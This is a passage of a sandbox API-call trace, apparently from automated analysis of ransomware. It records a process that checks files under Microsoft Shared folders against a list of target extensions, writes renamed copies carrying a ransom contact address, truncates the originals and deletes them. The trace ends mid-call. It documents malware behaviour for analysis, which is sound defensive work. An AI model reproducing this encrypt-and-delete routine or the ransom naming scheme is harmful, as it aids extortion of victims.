lpString2=".XML") returned -1 [0100.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.199] lstrlenW (lpString=".jpg") returned 4 [0100.199] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0100.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.199] lstrlenW (lpString=".doc") returned 4 [0100.199] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0100.199] lstrlenW (lpString=".docx") returned 5 [0100.199] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0100.199] lstrlenW (lpString=".pdf") returned 4 [0100.199] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0100.199] lstrlenW (lpString=".xls") returned 4 [0100.199] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0100.200] lstrlenW (lpString=".xlsx") returned 5 [0100.200] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0100.200] lstrlenW (lpString=".ppt") returned 4 [0100.200] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0100.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.200] lstrlenW (lpString=".zip") returned 4 [0100.200] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0100.200] lstrlenW (lpString=".rar") returned 4 [0100.200] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0100.201] lstrlenW (lpString=".bz2") returned 4 [0100.201] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0100.201] lstrlenW (lpString=".7z") returned 3 [0100.201] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0100.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.201] lstrlenW (lpString=".dbf") returned 4 [0100.201] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0100.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.201] lstrlenW (lpString=".1cd") returned 4 [0100.201] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0100.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0100.201] lstrlenW (lpString=".jpg") returned 4 [0100.201] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0100.202] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0100.202] lstrlenW (lpString="TIME.XML") returned 8 [0100.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0100.202] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=8564) returned 1 [0100.202] CloseHandle (hObject=0x1d8) returned 1 [0100.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0100.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0100.203] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.203] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0100.204] GetLastError () returned 0x0 [0100.204] ReadFile (in: hFile=0x1d8, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x2174, lpOverlapped=0x0) returned 1 [0100.214] WriteFile (in: hFile=0x210, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0100.216] ReadFile (in: hFile=0x1d8, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.216] WriteFile (in: hFile=0x210, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0100.216] SetEndOfFile (hFile=0x210) returned 1 [0100.216] CloseHandle (hObject=0x210) returned 1 [0100.217] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.217] SetEndOfFile (hFile=0x1d8) returned 1 [0100.218] CloseHandle (hObject=0x1d8) returned 1 [0100.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0100.218] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0100.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.219] lstrlenW (lpString=".doc") returned 4 [0100.219] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0100.219] lstrlenW (lpString=".docx") returned 5 [0100.219] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0100.219] lstrlenW (lpString=".pdf") returned 4 [0100.219] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0100.219] lstrlenW (lpString=".xls") returned 4 [0100.219] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0100.219] lstrlenW (lpString=".xlsx") returned 5 [0100.219] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0100.220] lstrlenW (lpString=".ppt") returned 4 [0100.220] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0100.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.220] lstrlenW (lpString=".zip") returned 4 [0100.220] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0100.220] lstrlenW (lpString=".rar") returned 4 [0100.220] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0100.220] lstrlenW (lpString=".bz2") returned 4 [0100.220] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0100.220] lstrlenW (lpString=".7z") returned 3 [0100.220] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0100.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.220] lstrlenW (lpString=".dbf") returned 4 [0100.220] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0100.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.220] lstrlenW (lpString=".1cd") returned 4 [0100.220] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0100.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.221] lstrlenW (lpString=".jpg") returned 4 [0100.221] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0100.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.221] lstrlenW (lpString=".doc") returned 4 [0100.221] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0100.221] lstrlenW (lpString=".docx") returned 5 [0100.221] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0100.221] lstrlenW (lpString=".pdf") returned 4 [0100.221] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0100.221] lstrlenW (lpString=".xls") returned 4 [0100.221] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0100.221] lstrlenW (lpString=".xlsx") returned 5 [0100.221] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0100.222] lstrlenW (lpString=".ppt") returned 4 [0100.222] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0100.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.222] lstrlenW (lpString=".zip") returned 4 [0100.222] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0100.222] lstrlenW (lpString=".rar") returned 4 [0100.222] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0100.222] lstrlenW (lpString=".bz2") returned 4 [0100.222] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0100.222] lstrlenW (lpString=".7z") returned 3 [0100.222] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0100.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.222] lstrlenW (lpString=".dbf") returned 4 [0100.222] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0100.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.222] lstrlenW (lpString=".1cd") returned 4 [0100.222] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0100.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0100.223] lstrlenW (lpString=".jpg") returned 4 [0100.223] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0100.311] lstrcmpiW (lpString1=".XSL", lpString2=".data") returned 1 [0100.311] lstrlenW (lpString="BASMLA.XSL") returned 10 [0100.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0100.311] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=227311) returned 1 [0100.311] CloseHandle (hObject=0x1ac) returned 1 [0100.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0100.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0100.312] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.312] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0100.312] GetLastError () returned 0x0 [0100.312] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x377ef, lpOverlapped=0x0) returned 1 [0100.389] WriteFile (in: hFile=0x21c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0100.520] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.520] WriteFile (in: hFile=0x21c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0100.520] SetEndOfFile (hFile=0x21c) returned 1 [0100.520] CloseHandle (hObject=0x21c) returned 1 [0100.521] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.521] SetEndOfFile (hFile=0x1ac) returned 1 [0100.523] CloseHandle (hObject=0x1ac) returned 1 [0100.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0100.524] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0100.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.524] lstrlenW (lpString=".doc") returned 4 [0100.524] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0100.524] lstrlenW (lpString=".docx") returned 5 [0100.524] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0100.524] lstrlenW (lpString=".pdf") returned 4 [0100.525] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0100.525] lstrlenW (lpString=".xls") returned 4 [0100.525] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0100.525] lstrlenW (lpString=".xlsx") returned 5 [0100.525] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0100.525] lstrlenW (lpString=".ppt") returned 4 [0100.525] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0100.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.525] lstrlenW (lpString=".zip") returned 4 [0100.525] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0100.525] lstrlenW (lpString=".rar") returned 4 [0100.525] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0100.525] lstrlenW (lpString=".bz2") returned 4 [0100.525] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0100.525] lstrlenW (lpString=".7z") returned 3 [0100.525] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0100.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.525] lstrlenW (lpString=".dbf") returned 4 [0100.525] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0100.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.526] lstrlenW (lpString=".1cd") returned 4 [0100.526] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0100.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.526] lstrlenW (lpString=".jpg") returned 4 [0100.526] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0100.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.526] lstrlenW (lpString=".doc") returned 4 [0100.526] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0100.526] lstrlenW (lpString=".docx") returned 5 [0100.526] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0100.526] lstrlenW (lpString=".pdf") returned 4 [0100.526] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0100.526] lstrlenW (lpString=".xls") returned 4 [0100.526] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0100.526] lstrlenW (lpString=".xlsx") returned 5 [0100.526] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0100.526] lstrlenW (lpString=".ppt") returned 4 [0100.526] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0100.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.526] lstrlenW (lpString=".zip") returned 4 [0100.526] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0100.526] lstrlenW (lpString=".rar") returned 4 [0100.526] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0100.526] lstrlenW (lpString=".bz2") returned 4 [0100.527] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0100.527] lstrlenW (lpString=".7z") returned 3 [0100.527] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0100.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.527] lstrlenW (lpString=".dbf") returned 4 [0100.527] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0100.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.527] lstrlenW (lpString=".1cd") returned 4 [0100.527] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0100.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0100.527] lstrlenW (lpString=".jpg") returned 4 [0100.527] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0100.527] lstrcmpiW (lpString1=".emf", lpString2=".data") returned 1 [0100.527] lstrlenW (lpString="Graph.emf") returned 9 [0100.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0100.951] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=116724) returned 1 [0100.952] CloseHandle (hObject=0x1c8) returned 1 [0100.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0100.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.952] lstrlenW (lpString=".doc") returned 4 [0100.952] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0100.952] lstrlenW (lpString=".docx") returned 5 [0100.952] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0100.952] lstrlenW (lpString=".pdf") returned 4 [0100.952] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0100.953] lstrlenW (lpString=".xls") returned 4 [0100.953] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0100.953] lstrlenW (lpString=".xlsx") returned 5 [0100.953] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0100.953] lstrlenW (lpString=".ppt") returned 4 [0100.953] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0100.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.953] lstrlenW (lpString=".zip") returned 4 [0100.953] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0100.953] lstrlenW (lpString=".rar") returned 4 [0100.953] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0100.953] lstrlenW (lpString=".bz2") returned 4 [0100.953] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0100.953] lstrlenW (lpString=".7z") returned 3 [0100.953] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0100.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.953] lstrlenW (lpString=".dbf") returned 4 [0100.953] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0100.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.953] lstrlenW (lpString=".1cd") returned 4 [0100.953] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0100.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.954] lstrlenW (lpString=".jpg") returned 4 [0100.954] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0100.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.954] lstrlenW (lpString=".doc") returned 4 [0100.954] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0100.954] lstrlenW (lpString=".docx") returned 5 [0100.954] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0100.954] lstrlenW (lpString=".pdf") returned 4 [0100.954] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0100.954] lstrlenW (lpString=".xls") returned 4 [0100.954] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0100.954] lstrlenW (lpString=".xlsx") returned 5 [0100.954] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0100.954] lstrlenW (lpString=".ppt") returned 4 [0100.954] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0100.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.954] lstrlenW (lpString=".zip") returned 4 [0100.954] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0100.954] lstrlenW (lpString=".rar") returned 4 [0100.954] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0100.954] lstrlenW (lpString=".bz2") returned 4 [0100.954] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0100.954] lstrlenW (lpString=".7z") returned 3 [0100.954] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0100.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.954] lstrlenW (lpString=".dbf") returned 4 [0100.954] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0100.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.969] lstrlenW (lpString=".1cd") returned 4 [0100.970] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0100.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0100.970] lstrlenW (lpString=".jpg") returned 4 [0100.970] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0100.971] lstrcmpiW (lpString1=".PNG", lpString2=".data") returned 1 [0100.971] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0100.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 16 os_tid = 0x7c0 [0073.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 